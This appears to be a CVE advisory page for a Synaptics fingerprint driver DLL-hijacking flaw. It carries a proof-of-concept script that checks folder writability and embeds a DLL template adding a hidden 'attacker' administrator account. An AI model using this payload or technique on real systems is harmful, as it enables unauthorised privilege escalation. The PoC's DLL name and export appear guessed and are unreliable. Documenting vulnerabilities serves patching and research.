Security Vulnerability Report
中文
CVE-2025-11772 CVSS 6.6 MEDIUM

CVE-2025-11772

Published: 2025-12-01 19:15:49
Last Modified: 2026-04-15 00:35:42

Description

A carefully crafted DLL, copied to C:\ProgramData\Synaptics folder, allows a local user to execute arbitrary code with elevated privileges during driver installation.

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Synaptics Fingerprint Driver (特定版本未明确披露)
Synaptics Fingerprint Driver Co-Installer (安装组件受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11772 PoC - Synaptics Fingerprint Driver DLL Hijacking # Author: Security Research # Note: This PoC is for educational and authorized testing purposes only import os import ctypes import shutil # Target directory for DLL placement TARGET_DIR = r'C:\ProgramData\Synaptics' MALICIOUS_DLL = 'SynapticsCredentialProviderHID.dll' def create_malicious_dll(): """ Create a malicious DLL that executes payload with elevated privileges. In a real attack, this would be a compiled native DLL with malicious code. This example shows the structure for educational purposes. """ dll_template = ''' // Malicious DLL template for CVE-2025-11772 // This DLL will be loaded by Synaptics driver installer with SYSTEM privileges #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Payload execution with elevated privileges // Example: Create administrator account or execute shell system("cmd.exe /c net user attacker P@ssw0rd123 /add"); system("cmd.exe /c net localgroup Administrators attacker /add"); // Log execution (in real attack, this would be stealthy) MessageBox(NULL, "DLL Loaded", "CVE-2025-11772", MB_OK); } return TRUE; } // Exported function that may be called by the driver extern "C" __declspec(dllexport) void SynapticsHID_Init() { // Initialization code } ''' return dll_template def check_vulnerability(): """Check if target directory exists and is writable""" if os.path.exists(TARGET_DIR): print(f'[+] Target directory exists: {TARGET_DIR}') # Check write permissions test_file = os.path.join(TARGET_DIR, 'test_write.tmp') try: with open(test_file, 'w') as f: f.write('test') os.remove(test_file) print('[+] Directory is writable - Vulnerability may be exploitable') return True except: print('[-] Directory is not writable') return False else: print(f'[-] Target directory does not exist: {TARGET_DIR}') return False def main(): print('CVE-2025-11772 Synaptics DLL Hijacking PoC') print('=' * 50) # Check if vulnerable if check_vulnerability(): print('\n[!] This system may be vulnerable to CVE-2025-11772') print('[!] Wait for driver update/installation to trigger exploit') print('[!] The malicious DLL will be loaded with SYSTEM privileges') else: print('\n[-] System does not appear to be vulnerable or Synaptics driver not installed') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11772", "sourceIdentifier": "[email protected]", "published": "2025-12-01T19:15:49.130", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A carefully crafted DLL, copied to \n\nC:\\ProgramData\\Synaptics\n\n folder, allows a local user to execute \narbitrary code with elevated privileges during driver installation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://www.synaptics.com/sites/default/files/2025-12/fingerprint-driver-co-installer-security-brief-2025-12-01.pdf", "source": "[email protected]"}]}}